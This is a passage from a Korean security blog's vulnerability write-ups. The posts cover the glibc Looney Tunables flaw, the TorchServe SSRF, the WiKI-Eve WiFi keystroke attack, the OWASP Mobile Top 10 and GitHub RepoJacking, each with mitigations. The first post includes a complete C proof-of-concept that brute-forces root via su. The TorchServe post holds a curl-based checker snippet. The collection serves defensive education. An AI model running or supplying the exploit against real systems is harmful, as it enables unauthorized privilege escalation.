② p는 증가하지 않고 여전히 "tunable1", 즉 "tunable2= aaa"의 값을 가리킴 (Line 247~248)

> Line 203~204에서 ':'이 발견되지 않았기 때문

while(true)를 두 번째 반복 동안 "tunable2= aaa"가 tunestr에 복사되며 tunestr에서 버퍼 오버 플로우 발생

 

- 공격자는 해당 취약점을 악용해 SUID 등이 설정된 프로그램을 실행시켜 권한을 상승시킴 [4][5]

 

2.3 PoC [6]

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define ENV_ITEM_SIZE ((32*4096) - 1)

// No ASLR
//#define STACK_TARGET   0x00007ffffff0c808
// ASLR Brute
#define STACK_TARGET   0x00007ffdfffff018

char * p64(uint64_t val) {
    char * ret = malloc(8);
    memset(ret, 0, 8);
    memcpy(ret, &val, 8);
    ret[7] = 0;
    return ret;
}

char * allocation_helper(const char * base, int size, char fill) {
    char * ret = NULL;
    char * chunk = malloc(size + 1);
    memset(chunk, fill, size);
    chunk[size] = 0;
    asprintf(&ret, "%s%s", base, chunk);
    free(chunk);
    return ret;
}

char * create_u64_filler(uint64_t val, size_t size) {
    uint64_t * ret = malloc(size + 1);
    // We need to make sure the allocation does not contain a premature null byte
    memset(ret, 0x41, size);
    for (int i = 0; i < size / 8; i++) {
        ret[i] = val;
    }
    // force null-termination
    char* ret2 = (char*)ret;
    ret2[size] = 0;
    return ret2;
}

void setup_dir() {
    // TODO: This is very much not compatible with all distros
    system("rm -rf ./\x55");
    mkdir("./\x55", 0777);
    system("cp /usr/lib/x86_64-linux-gnu/libc.so.6 ./\x55/libc.so.6");
    system("cp ./suid_lib.so ./\x55/libpam.so.0");
    system("cp ./suid_lib.so ./\x55/libpam_misc.so.0");
}

int main(int argc, char** argv) {

    setup_dir();

    int num_empty = 0x1000;
    int env_num = num_empty + 0x11 + 1;
    char ** new_env = malloc((sizeof(char *) * env_num) + 1);
    memset(new_env, 0, (sizeof(char *) * env_num) + 1);
    printf("new_env: %p\n", new_env);

    if (new_env == NULL) {
        printf("malloc failed\n");
        exit(1);
    }

    // This is purely vibes based. Could probably be a lot better.
    const char * normal = "GLIBC_TUNABLES=";
    const char * normal2 = "GLIBC_TUNABLES=glibc.malloc.mxfast:";
    const char * overflow = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";
    int i = 0;
    // Eat the RW section of the binary, so our next allocations get a new mmap
    new_env[i++] = allocation_helper(normal, 0xd00, 'x');
    new_env[i++] = allocation_helper(normal, 0x1000 - 0x20, 'A');
    new_env[i++] = allocation_helper(overflow, 0x4f0, 'B');
    new_env[i++] = allocation_helper(overflow, 0x1, 'C');
    new_env[i++] = allocation_helper(normal2, 0x2, 'D');

    // the remaining env is empty strings
    for (; i < env_num; i++) {
        new_env[i] = "";

        if (i > num_empty)
            break;
    }

    // This overwrites l->l_info[DT_RPATH] with a pointer to our stack guess.
    new_env[0xb8] = p64(STACK_TARGET);

    // Create some -0x30 allocations to target a stray 0x55 byte to use as our R path.
    for (; i < env_num - 1; i++) {
        new_env[i] = create_u64_filler(0xffffffffffffffd0, ENV_ITEM_SIZE);
    }
    new_env[i-1] = "12345678901"; // padding to allign the -0x30's

    printf("Done setting up env\n");

    char * new_argv[3] = {0};
    new_argv[0] = "/usr/bin/su";
    // If we get a "near miss", we want to make sure su exits with an error code.
    // This happens when the guessed stack address is valid, but points to another (empty) string.
    new_argv[1] = "--lmao";

    printf("[+] Starting bruteforce!\n");
    int attempts = 0;
    while (1) {
        attempts++;

        if (attempts % 100 == 0)
            printf("\n[+] Attempt %d\n", attempts);

        int pid = fork();
        if (pid < 0) {
            perror("fork");
            exit(1);
        }

        if (pid) {
            // check if our child was successful.
            int status = 0;
            waitpid(pid, &status, 0);
            if (status == 0) {
                puts("[+] Goodbye");
                exit(0);
            }
            printf(".");
            fflush(stdout);
        } else {
            // we are the child, let's try to exec su
            int rc = execve(new_argv[0], new_argv, new_env);
            perror("execve");
        }

    }
    
}

 

- PoC 시연 참조 [7]

[영상 1] 공격 시연 영상

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [8][9][10]

> 레드햇, 우분투, 업스트림, 데비안, 젠투 등 주요 리눅스 배포판들이 보안 업데이트 발표

 

4. 참고

[1] https://www.gnu.org/software/libc/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-4911
[3] https://www.gnu.org/software/libc/manual/html_node/Tunables.html
[4] https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so
[5] https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
[6] https://github.com/RickdeJager/CVE-2023-4911
[7] https://www.youtube.com/watch?v=uw0EJ5zGEKE&list=PPSV
[8] https://access.redhat.com/security/cve/CVE-2023-4911
[9] https://security-tracker.debian.org/tracker/CVE-2023-4911
[10] https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4DBUQRRPB47TC3NJOUIBVWUGFHBJAFDL/
[11] https://www.boannews.com/media/view.asp?idx=122421&kind=1&search=title&find=%C7%F6%C1%B8%C7%CF%B4%C2+%B0%C5%C0%C7+%B8%F0%B5%E7+%B8%AE%B4%AA%BD%BA+%BD%C3%BD%BA%C5%DB%BF%A1%BC%AD 

1. TorchServe

- Meta와 AWS에서 개발한 파이토치(PyTorch) 머신러닝 라이브러리를 기반으로 하는 새로운 모델 서비스 프레임워크 [1]

- 파이토치(PyTorch) 란 딥러닝 구현을 위한 파이썬 기반의 오픈소스 머신러닝 라이브러리 [2]

- PyTorch 생태계의 인기 있는 오픈 소스 패키지

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-43654 [3]

- TorchServer의 기본 설정 사용 시 부적절한 입력 값 검증으로인해 발생하는 SSRF 취약점 (CVSS: 9.8)

- 공격자는 해당 취약점을 이용해 TorchServe에 악성 모델을 업로드하여 임의 코드를 실행할 수 있음

영향받는 버전
- TorchServe 0.3.0 ~ 0.8.1 버전

 

2.1 취약점 상세 [4]

- TorchServe의 안내에 따르면, 인증되지 않은 접근을 방지 하기위해 기본적으로 localhost에서만 접근이 가능

 

구분 설명
inference_address 추론 API 바인딩 주소, 포트번호 8080
management_address 관리 API 바인딩 주소, 포트번호 8081
metrics_address 메트릭 API 바인딩 주소, 포트번호 8082
specific IP 특정 IP와 Port로부터 모델에서 실행할 경우 지정

 

[사진 2] 취약점 발생 위치

 

- 실제 인터페이스는 기본적으로 0.0.0.0에 바인딩 되어 있으며, 사용자 인증 과정이 부재

> IP 0.0.0.0모든 주소를 의미하기 때문에, 모든 IP에서 접근이 가능함을 의미 [6][7]

> 또한, 인증 과정이 없어 공격자가 서버에 접근하여 악성 모델 업로드 및 임의 코드가 실행할 수 있음

inference_address=hxxp://0.0.0.0:8080
management_address=hxxp://0.0.0.0:8081
metrics_address=hxxp://0.0.0.0:8082

 

[영상 1] 전체 Exploit 과정 요약

 

2.2 CVE-2022-1471 [8][9]

- CVE-2023-43654 외에 해당 취약점에도 영향 받는 것으로 확인됨

> SnakeYaml 2.0 이전 버전의 Constructor() 클래스는 역직렬화 중 인스턴스화될 수 있는 유형을 제한하지 않아 악성 Yaml 콘텐츠를 역직렬화 하여 원격 코드를 실행하는 취약점

 

3. 대응방안

① 벤더사에서 제공하는 최신 업데이트 적용 [10]

구분 취약한 버전 해결 버전
TorchServe 0.3.0 ~ 0.8.1 버전 0.8.2 버전

 

② 기본 설정 변경

- 해당 취약점은 기본 설정을 그대로 사용해 발생하는 취약점

> 따라서, 기본 설정을 내부 환경에 맞게 적절한 변경이 필요

- 최신 패치 버전(0.8.2)에서는 기본 설정을 사용할 경우 사용자에게 경고 알림을 발생시키는 것으로 확인됨.

 

③ config.properties 파일 수정

- 신뢰할 수 있는 도메인에서만 모델을 가져올 수 있도록 config.properties 파일 수정

<예시>
allowed_urls=https://s3.amazonaws.com/.*,https://torchserve.pytorch.org/.*

 

④ 점검 툴 사용 [11]

- 취약점을 발견한 보안 업체에서 해당 취약점에 영향을 받는지 확인할 수 있는 점검 툴 제공

response=$(curl --max-time 10 -s -X POST http://$TORCHSERVE_IP:$TORCHSERVE_PORT/workflows\?url\=$REMOTE_SERVER/$SSRF_DOWNLOAD_FILE_NAME)
response=$(echo "$response" | tr -d '[:space:]')
echo -e "${COLOR_WHITE_FORMAT}Checking CVE-2023-43654 Remote Server-Side Request Forgery (SSRF)"

# If no response at all
if [ -z "$response" ]; then
  echo -e "${COLOR_YELLOW_FORMAT}Cannot check CVE-2023-43654 Failed to send request to http://$TORCHSERVE_IP:$TORCHSERVE_PORT"

# Check response
else
  if [[ "$response" == "$SSRF_RESPONSE_EXISTS" ]]; then
    echo -e "${COLOR_YELLOW_FORMAT}The test file already exists in the server.To test again remove the file <torchserve_path>model-server/model-store/$SSRF_DOWNLOAD_FILE_NAME and run the script."
    HAS_SSRF=true
  elif [[ "$response" == "$SSRF_RESPONSE" ]]; then
    HAS_SSRF=true
    echo -e "${COLOR_RED_FORMAT}Vulnerable to CVE-2023-43654 SSRF file download"
  elif [[ "$response" == "$SSRF_NOT_VULNERABLE_RESPONSE" ]]; then
    HAS_SSRF=false
    echo -e "${COLOR_GREEN_FORMAT}Not Vulnerable to CVE-2023-43654 SSRF file download"
  else
    HAS_SSRF=true
    echo -e "${COLOR_YELLOW_FORMAT}Could not determine if TorchServe is vulnerable to CVE-2023-43654"
  fi
fi

 

4. 참고

[1] https://www.aitimes.kr/news/articleView.html?idxno=16158
[2] https://blog.naver.com/os2dr/221565409684
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-43654
[4] https://www.oligo.security/blog/shelltorch-torchserve-ssrf-vulnerability-cve-2023-43654
[5] https://pytorch.org/serve/configuration.html?highlight=configure+torchserve+listening
[6] https://inpa.tistory.com/entry/WEB-%F0%9F%8C%90-00000-%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80
[7] https://mamu2830.blogspot.com/2022/10/what-is-0.0.0.0%20.html
[8] https://nvd.nist.gov/vuln/detail/CVE-2022-1471
[9] https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2
[10] https://aws.amazon.com/ko/security/security-bulletins/AWS-2023-009/
[11] https://github.com/OligoCyberSecurity/ShellTorchChecker
[12] https://www.securityweek.com/critical-torchserve-flaws-could-expose-ai-infrastructure-of-major-companies/
[13] https://www.boannews.com/media/view.asp?idx=122377&kind=1&search=title&find=%C0%CE%B0%F8%C1%F6%B4%C9+%C0%CE%C7%C1%B6%F3%BF%A1+%B3%CE%B8%AE+%BB%E7%BF%EB%B5%C7%B4%C2+%BF%C0%C7%C2 

1. 개요

- 중국과 싱가포르 대학 연구진이 WiFi5(802.11ac)에 도입된 기능인 BFI를 활용해 스마트폰의 텍스트 전송을 가로채 비밀번호를 탈취하는 WiKI-Eve 공격이 발견
- 스마트폰과 와이파이 라우터 간 트래픽을 중간에서 가로채 어떤 숫자 키가 눌렸는지 확인하는 실시간 공격으로, 90% 정확도를 지님
- 공격이 성공하기 위해서는 공격자와 피해자가 동일한 네트워크에 있어야 하며, 피해자의 MAC 주소 또한 알고있어야함

- 공격자들이 AP를 해킹할 필요도 없이 중요한 정보를 정확하게 유추할 수 있음

 

2. 주요내용

2.1 BFI (Beamforming Feedback Information)

- 빔포밍(Beamforming)이란 기지국(또는 AP)에서 무선 신호를 특정 방향으로 무선 신호를 집중시키는 기술

> 즉, 전파를 특정 위치로 집중해 빔을 만들어 효율을 높이는 기술

> 신호를 집중시킴으로써 송출 전력을 증폭하지 않으면서 수신기에 전달되는 신호를 잘 잡을 수 있음

> 2013년 WiFi5(802.11ac)와 함께 처음 소개된 기술로, WiFi5에 도입됨

 

- BFI는 사용자 단말 등이 자신들의 위치에 대한 정보를 라우터로 전송하게 함으로써 라우터가 신호를 보다 정확하게 전송할 수 있도록 만들어줌

> 그러나, 데이터가 평문으로 전송되기 때문에 취약점이 발생

 

2.2 방법론

[사진 1] 공격 단계

① 공격 대상 식별

- 공격자는 시각적인 모니터링과 트래픽 모니터링을 동시에 수행해 MAC 주소 식별

> 다양한 MAC 주소에서 발생하는 네트워크 트래픽을 사용자의 행동과 연관시켜 MAC 주소 식별

 

② 공격 타이밍 식별

- 공격 대상이 식별되면 비밀번호 입력 등의 행위를 기다림

> 관련 IP 주소(공격 대상과 통신하는 IP) 등을 DB화한 뒤 해당 IP와 통신이 발생할 때까지 대기

 

③ BFI  신호 탈취

- 사용자 단말에서 발생한 BFI 신호를 Wireshark와 같은 트래픽 모니터링 도구를 이용해 캡처

> 사용자가 스마트폰의 키를 누를 때마다 화면 뒤의 WiFi 안테나에 영향을 주어 뚜렷한 WiFi신호가 생성

 

④ 키스트로크 추론

- 수집된 BFI 신호를 분할하여 사용자의 키스트로크 추론

- 수집된 BFI 신호가 키 입력 간의 경계를 모호하게 만들 수 있어 사용 가능한 데이터를 분석하고 복원하는 알고리즘 적용

> 사용자마다 뚜렷한 타이핑 습관의 차이를 보이기 때문에 규칙 기반 분할이 아닌 데이터 기반 분할을 적용

> 분할은 CFAR(Constant False Alarm Rate) 알고리즘을 사용하여 수집된 BFI 신호의 피크를 식별하는 것부터 시작

* Constant False Alarm Rate (CFAR): 테스트하고자 하는 위치의 값과 주변 값의 관계를 보고 테스트 값이 대상인지 아닌지를 구분하는 알고리즘

 

> 결과를 방해하는 요소(타이핑 스타일, 속도, 인접한 키 입력 등)를 걸러내기 위해 "1-D Convolutional Neural Network" 기계 학습을 사용

* 합성곱 신경망(Convolutional Neural Network): n × m 크기의 겹쳐지는 부분의 각 이미지와 커널의 원소의 값을 곱해서 모두 더한 값을 출력

 

> 도메인 적응(특징 추출기, 키스트로크 분류기, 도메인 판별기로 구성) 개념을 통해 타이핑 스타일에 상관없이 키스트로크를 일관되게 인식하도록 훈련

* 도메인 적응(Domain Adaptation): 학습 데이터와 실제 데이터의 차이를 극복하고 모델의 성능 향상을 위해 데이터와 관련있는 추가적인 데이터를 학습

 

> 도메인별 특징을 억제하기 위해 GRL(Gradient Reversion Layer)를 적용해 일관된 키 입력 표현을 학습할 수 있도록 함

* Gradient Reversion Layer(GRL): 도메인 간의 분포 차이를 줄이고 도메인 적응을 수행하는 데 도움을 줌

 

⑤ 비밀번호 복구

- 20명의 참가자는 서로 다른 휴대폰으로 동일한 AP에 연결해 비밀번호를 입력

> 키 입력 분류 ​​정확도는 희소 복구 알고리즘과 도메인 적응을 사용할 때 88.9%로 안정적으로 유지

> 6자리 숫자 비밀번호의 경우 100회 미만의 시도에서 85%의 성공률을, 모든 테스트에서 75% 이상의 성공률을 보임

> 공격자와 AP 사이의 거리가 결과에 큰 영향을 끼치며, 거리를 1m에서 10m로 늘릴 경우 성공률은 23%로 감소

 

- 해당 연구는 숫자로만 구성된 비밀번호에만 작동

> NordPass의 연구에 따르면 상위 비밀번호 20개 중 16개(80%)는 숫자만 사용

 

2.3 완화 방안

- 데이터 암호화: BFI가 데이터를 평문으로 전송하여 발생하는 문제이기 때문에 암호화 적용

- 키보드 무작위화: 키보드 배열(레이아웃)을 무작위화 하여 어떤 키가 입력되었는지 알 수 없음

- 난독화: 트래픽 캡처 등을 방지하기 위해 난독화 적용

- 스크램블: 송신 측에서 기공유된 초기값과 데이터를 XOR하여 전송한 후 수신측에서 이를 복호화해 원래의 데이터를 복호화하는 방식으로 CSI 스크램블링, WiFi 채널 스크램블을 적용

 

3. 추가 대응 방안

- WiFi 암호 활성화 및 공용 WiFi 사용 지양

- 스마트폰, WiFi 등 업데이트를 적용해 최신상태 유지

 

4. 참고

[1] https://arxiv.org/pdf/2309.03492.pdf
[2] https://www.bleepingcomputer.com/news/security/new-wiki-eve-attack-can-steal-numerical-passwords-over-wifi/
[3] https://vosveteit.zoznam.sk/hacker-nepotrebuje-absolutne-nic-novy-utok-wiki-eve-moze-kradnut-ciselne-hesla-cez-wifi/
[4] https://techxplore.com/news/2023-09-exploit-passwords-keystrokes.html
[5] https://www.ludicweb.fr/wiki-eve-lattaque-wifi-qui-lit-vos-frappes-de-mot-de-passe-a-lecran
[6] https://cybersecuritynews.com/wiki-eve-wi-fi-passwords/
[7] https://digvel.com/blog/744/
[8] https://www.boannews.com/media/view.asp?idx=121878&page=5&kind=4
[9] https://isarc.tachyonlab.com/5563
[10] https://ko.wikipedia.org/wiki/%EB%B9%94%ED%8F%AC%EB%B0%8D
[11] https://www.kukinews.com/newsView/kuk202010200380
[12] https://wikidocs.net/64066
[13] https://cilabs.kaist.ac.kr/research/research-area/domain-adaptation
[14] https://zdnet.co.kr/view/?no=20201112124104
[15] https://nordpass.com/most-common-passwords-list/
[16] http://word.tta.or.kr/dictionary/dictionaryView.do?subject=%EC%8A%A4%ED%81%AC%EB%9E%A8%EB%B8%94%EB%A7%81%2F%EB%94%94%EC%8A%A4%ED%81%AC%EB%9E%A8%EB%B8%94%EB%A7%81

1. 개요

- 모바일 보안 위협은 (보이스)피싱, 스미싱 등 다양하게 발생하며 피해가 지속적으로 보고되고 있음

- OWASP에서 모바일 보안 위협 TOP 10을 발표

> OWASP(The Open Web Application Security Project): 웹 애플리케이션 보안과 취약성을 평가하는 단체로 비정기적으로 보안 위협을 조사해 발표

[사진 1] 모바일 TOP 10 2016 2023 비교

 

2. 주요내용

구분 위험 설명
1 부적절한 자격 증명 사용 하드코딩된 자격 증명 또는 부적절한 자격 증명 사용(인증 정보 평문 전송, 부적절한 검증, 자동 저장 등)으로인해 인증 우회 등이 발생가능한 취약점
- 데이터 침해, 사용자 개인 정보 유출, 관리자 권한 접근 등 피해 발생 가능
인증 정보의 하드코딩 금지, 인증 정보 암호화 전송, 비밀번호 저장 기능 사용 금지 등의 조치
2 부적절한 공급망 보안 공급망을 악용하여 악성코드가 삽입된 업데이트 파일 등을 유포하여 사용자의 기기에 접근해 악성행위를 가능하도록 하는 취약점
- 내부자, 써드파티, 악성코드가 포함된 오픈소스 등의 사용으로인해 발생 가능
- 데이터 침해, 사용자 개인 정보 유출, 관리자 권한 접근 등 피해 발생 가능
모바일 앱 개발 수명주기 전반에 걸친 코드 검토 및 시큐어 코딩, 검증된 라이브러리 사용, 주기적 업데이트 적용, 모니터링 등의 조치
3 안전하지 않은 인증/권한 부여 부적절한 인증(인증 체계 누락 등)를 통해 정식 인증 우회 및 권한(과도한 권한 부여 등)을 악용 추가적인 악성행위를 수행
- 데이터 침해, 사용자 개인 정보 유출, 관리자 권한 접근 등 피해 발생 가능
인증 절차의 강화, 최소권한부여, 서버 측에서 인증 요청 검증, 비밀번호 저장 기능 사용 금지 등의 조치
4 불충분한 입력/출력 검증 입력 데이터에대한 검증 및 삭제가 불충분하여 임의 명령 실행 등이 발생 가능한 취약점
- 데이터 침해, 임의 명령 실행, 관리자 권한 접근 등 피해 발생 가능
입력 길이 제한 및 삭제 등 엄격한 입력값 검증 적용, 데이터 무결성 검사, 시큐어코딩 적용 등의 조치
5 안전하지 않은 통신 네트워크를 통해 데이터를 평문으로 전송하거나 취약한 네트워크 사용 등으로 인해 발생 가능한 취약점
- 인증 정보 도용, 중간자 공격 등 피해 발생 가능
암호화 전송, 엄격한 인증서 관리 등의 조치
6 부적절한 개인 정보 보호 제어 공격자가 알려진 취약점을 이용해 시스템을 침해한 후 부적절하게 관리되고 있는 개인정보에 접근이 가능하게되는 취약점
- 사용자 개인정보 불법거래, 유출 정보를 이용한 2차 피해 등이 발생 가능
목적 범위 내 필요한 최소한의 정보만 저장, 가명화 또는 익명화 적용, 목적 달성 등 불필요시 즉시 삭제 등의 조치
7 바이너리 보호가 부족함 리버싱 등으로 소스코드에 하드코딩된 정보, 키(API, 암복호화 등) 등을 탈취하거나 코드를 변조하여 악성 코드를 포함하도록 하는 등의 취약점
- 키 정보의 유출, 코드 위변조, 악성코드 삽입 후 재배포 등이 발생 가능
소스코드 난독화, 무결성 검사, 모니터링 등의 조치
8 잘못된 보안 구성 불필요한 권한 설정, 부적절한 액세스 제어, 평문 전송 등 잘못된 보안 구성으로 인해 발생가능한 취약점
- 데이터 침해, 관리자 권한 접근 등의 피해 발생 가능
기본 계정정보 변경, 최소권한부여, 입력값 검증, 암호화 등의 조치
9 안전하지 않은 데이터 저장 취약한 암호화, 부적절한 데이터 보호, 평문 저장 등으로 민감정보, 내부 정보의 유출이 발생할 수 있는 취약점
- 데이터 침해, 무결성 문제 등 피해 발생 가능
강력한 암호화, 입력값 검증, 적절한 액세스 제어 등의 조치
10 암호화가 불충분함 취약하거나 불충분한 암호화로인해 민감 정보와 데이터의 기밀성과 무결성이 저하되는 등의 문제가 발생가능한 취약점
- 데이터 침해, 무결성과 기밀성 등 피해 발생 가능
안전한 암호 알고리즘 적용, 안전한 암호화 키 관리 등의 조치

 

2.2 모바일 운영체제별 보안 위협

구분 위협 설명
안드로이드 리버스 엔지니어링 - 안드로이드 앱은 이클립스(Eclipse)와 같은 통합개발환경을 갖춘 자바(Java)로 개발
> 자바 앱은 인터넷에서 쉽게 검색 가능한 다양한 도구로컴파일 이전으로 복구가 가능

- 바이트코드를 변경하거나 APK 파일 형식으로 재패키징할 수 있음
> 테스트 로그인 자격증명 등 정보와 함께 암호화 유형의 세부정보도 노출될 수 있음
> 공격자는 이를 악용해 복호화로 디바이스 해킹이 가능
안전하지 않은 플랫폼 사용 - 앱 개발자가 보안에 불안전한 안드로이드 인텐트(Intent)나 플랫폼 권한 설정을 통해 모바일 OS와 통신할 때 보안 위협이 발생 가능

- 안드로이드 OS는 브로드캐스트리시버(BroadcastReceiver) 구성요소를 이용해 앱과 시스템 전체의 브로드캐스트를 송수신
> 브로드캐스트 리시버 인스턴스를 수신하기 위해 안드로이드 디바이스에 스누핑 공격을 수행할 수 있음

※ 스누핑(Snooping): 네트워크 상의 정보를 염탐하여 불법적으로 얻는 것을 의미
업데이트 무시 - 구글은 안드로이드에서 새로운 취약점에 대응하기 위해 끊임없이 OS 보안 패치를 발표
> 개발자(또는 사용자)가 업데이트를 적용하지 않음으로 발생가능
루팅된 디바이스 - 안드로이드 OS는 사용자가 서드파티 앱을 이용해 디바이스의 루트 권한을 획득하도록 허용
> 루팅된 디바이스가 해커나 악성 소프트웨어를 통한 위변조에 노출될 수 있음을 깨닫지 못하고 있음

- 개발자는 앱이 루팅된 환경에서의 실행을 차단하거나 사용자에 경고 메시지를 띄우는 것이 필요
새로운 공격 벡터를 통한 
스파이론 애플리케이션 증가
- 최근 간편하게 소액 대출을 제공하지만 높은 이자율과 추가 수수료가 부과되는 ‘스파이론(Spyloan) 앱’이 증가
> 대출 승인 전에 과도한 개인정보를 무단 수집 및 스캔들 메시지 발송 및 사진 조작 등 피해 발생
iOS 탈옥 - ‘탈옥(Jailbreak)’은 사용자가 서명되지 않은 코드를 모바일 디바이스에서 실행하도록 커널의 보안 허점을 이용하는 것
사용자 인증 - iOS는 얼굴인증(Face ID)이나 지문인증(Touch ID) 등으로 보안을 강화
> OS와는 별도로 전용 마이크로 커널에서 실행되는 ‘시큐어 인클레이브(Secure Enclave)’를 적용한 프로세스를 사용하도록 설계

- 공격자는 그레이시프트(Grayshift) 사의 iOS 암호 크랙인 그레이키(GrayKey)를 활용하면 인증을 뚫을 수 있음
데이터 저장소 보안 위험성 - 대부분의 앱은 SQL 데이터베이스, 쿠키, 바이너리 데이터 저장소 등을 사용해 데이터를 저장
> 데이터 저장소는 운영체제, 프레임워크 또는 컴파일러의 취약점이 있을 때 해커에 위치가 노출될 수 있음

- 공격자는 DB에 접근하고, 앱 변조로 자신의 컴퓨터에 사용자 정보가 수집되도록 조작할 수 있음
> 탈옥된 디바이스라면 복잡하게 설계된 암호화 알고리즘도 손쉽게 노출될 수 있음
참고 - iOS에서 사용할 수 있는 애플리케이션은 모두 애플에서 직접 만든 앱스토어를 통해서만 다운로드할 수 있음
- iOS 애플리케이션은 애플의 앱 개발 전담팀에서 2주간의 검수 과정을 통해 악성코드, 바이러스, 멀웨어 등의 감염과 피해 등을 철저하게 조사한 후 등록
> 앱 보안 위협은 상대적으로 낮은편

- 애플의 iOS는 안드로이드 OS와 달리 보안 정책이 엄격하며 폐쇄형
- iOS 앱은 다른 앱과 통신 또는 디렉토리나 데이터에 직접적으로 접근할 수 없

 

3. 대응방안

① 개발자는 앱을 플랫폼에 공개하기 전 철저한 보안 검사가 필요

- 사용자의 보안 강화를 위해 데이터 암호화 및 방화벽과 보안도구 사용을 포함해 전반적인 데이터 보안 정책과 지침을 수립

- 새로운 앱을 개발했을 때 개발자는 앱을 앱스토어에 등록하기 전에 외부인을 통해 앱 보안 취약점을 점검

 

② 사용자는 앱 사용이 끝나면 해당 사이트에서 로그아웃하고 종료

- 금융권 웹사이트를 사용할 때는 비밀번호를 저장하지 않고, 로그아웃 여부를 재차 확인하는게 중요

 

③ 사용자가 웹사이트나 앱에 로그인할 때 기본적인 로그인 외에 멀티팩터(Multi Factor) 인증으로 보안을 강화

- 아이디와 패스워드 이외에 2차로 지문·홍채 등 생체인식, 인증서, 이메일, OTP 등이 사용되며, 로그인 시 별도의 비밀코드를 제공

 

모의 침투 테스트

- 앱 내의 알려진 취약점을 확인

 

⑤ 사내 네트워크에 개인 소유 디바이스를 연결할 때는 사전 보안 검사

 

적절한 권한 부여, 키 관리 등

- 스마트폰 내에 디폴트 권한을 넘어 특별한 기능의 권한까지 부여되면 보안에 심각한 위협을 유발

- 키는 사용자 디바이스가 아닌 안전한 컨테이너에 보관하는 습관

- 개발자는 256비트 키를 사용하는 SHA-256 해시 등 최신 암호화 표준과 API를 사용

 

주기적인 앱 보안 테스트

- 랜섬웨어, 피싱 등 다양한 보안 위협에서 스마트폰을 안전하게 사용하기 위함

 

4. 참고

[1] https://owasp.org/www-project-mobile-top-10/
[2] https://www.boannews.com/media/view.asp?idx=121927&page=2&kind=5

1. 개요

- Github의 논리적 결함으로 인해 공격자가 수천 개의 리포지터리를 제어할 수 있게되는 취약점이 발견
- 공격자는 해당 결함으로 리포지터리를 악용해 공급망 공격으로 이어질 가능성이 존재

 

2. RepoJacking [1]

- Github에서는 사용자 계정마다 고유한 URL을 부여

> 사용자 이름 및 저장소 이름 변경이 자주 발생 (사명변경, 인수합병, 관리자 변경 등)

 

- 이름 변경 등으로 프로젝트의 종속성이 깨지는 것을 방지하기 위해 리다이렉션 생성
> 이름 A에서 이름 B로 변경시 새로운 URL이 생성되고, 원 URL과 연결되어 있던 모든 리포지터리들이 자동으로 새 URL과 연결
① 사용자는 계정 A 생성
② 계정 A에대한 고유한 URL 생성 (ex, hxxp://github.com/A~)
③ 사용자는 계정을 B로 변경
④ 계정 B에대한 고유한 URL 생성 (ex, hxxp://github.com/B~)

⑤ 계정 A의 리포지터리가 자동으로 계정 B로 리다이렉션

 

RepoJacking이란 공격자가 위 과정에 개입하여 이름 A를 등록해 공격자의 리포지터리에서 접근하도록 하는 공격
리포지터리를 생성하는 과정과 사용자의 이름을 변경하는 과정에서 경합 조건이 발동된다는 것이 취약점의 핵심적인 내용
① 사용자는 "A/Repo" 네임스페이스를 소유
② 사용자는 "A"의 이름을 "B"로 변경
③ "A/Repo"는 폐기처리
④ 공격자 "C"는 동시에 "Repo" 리포지터리를 생성하며, "A"로 이름을 변경하는 명령 수행
⑤ 사용자는 공격자 소유의 "A/Repo"에 접근하여 공격자가 업로드한 파일, 명령을 사용

 

※ Race Condition 공격과 유사한 공격으로 판단됨 [2][3]

- Race Condition: 두 개의 스레드가 하나의 자원을 놓고 서로 사용하려고 경쟁하는 상황
> 두 개 이상의 프로세스가 공통 자원을 병행적으로(concurrently) 읽거나 쓰는 동작을 할 때,
> 공용 데이터에 대한 접근이 어떤 순서에 따라 이루어졌는지에 따라
> 그 실행 결과가 같지 않고 달라지는 상황

- Race Condition Attack: 실행 프로세스가 임시파일을 생성할 시, 실행 중에 끼어들어 임시 파일을 목적 파일로 연결(심볼릭 링크)하여 권한 상승(setuid를 이용) 등 악용

 

3. 대응방안

① 해당 취약점을 발견한 Checkmarx는 Github에 해당 문제를 전달
> Github은 "인기 있는 저장소 네임스페이스 종료"를 도입 [4]
> Checkmarx는 모니터링을통해 우회 방법들이 발견될때마다 내용 공유를 통해 지속 대응중으로 확인됨

> Checkmarx는 RepoJacking 공격에 취약한 리포지터리를 확인하는 도구를 개발해 제공 [5]

 

② 무차별 대입 공격 및 프로젝트 탈취를 방지하기 위해 저장소에 2FA 적용
③ 엄격한 형상관리
④ 프로젝트 모니터링과 검토를 통해 취약점 조기 식별 및 조치 등

 

4. 참고

[1] https://checkmarx.com/?s=Repojacking
[2] https://iredays.tistory.com/125
[3] https://isc9511.tistory.com/120
[4] https://github.blog/2018-04-18-new-tools-for-open-source-maintainers/#popular-repository-namespace-retirement
[5] https://github.com/Checkmarx/chainjacking
[6] https://blog.aquasec.com/github-dataset-research-reveals-millions-potentially-vulnerable-to-repojacking
[7] https://thehackernews.com/2023/09/critical-github-vulnerability-exposes.html
[8] https://www.boannews.com/media/view.asp?idx=111102&page=1&kind=1
[9] https://www.boannews.com/media/view.asp?idx=121918&page=3&kind=1 

+ Recent posts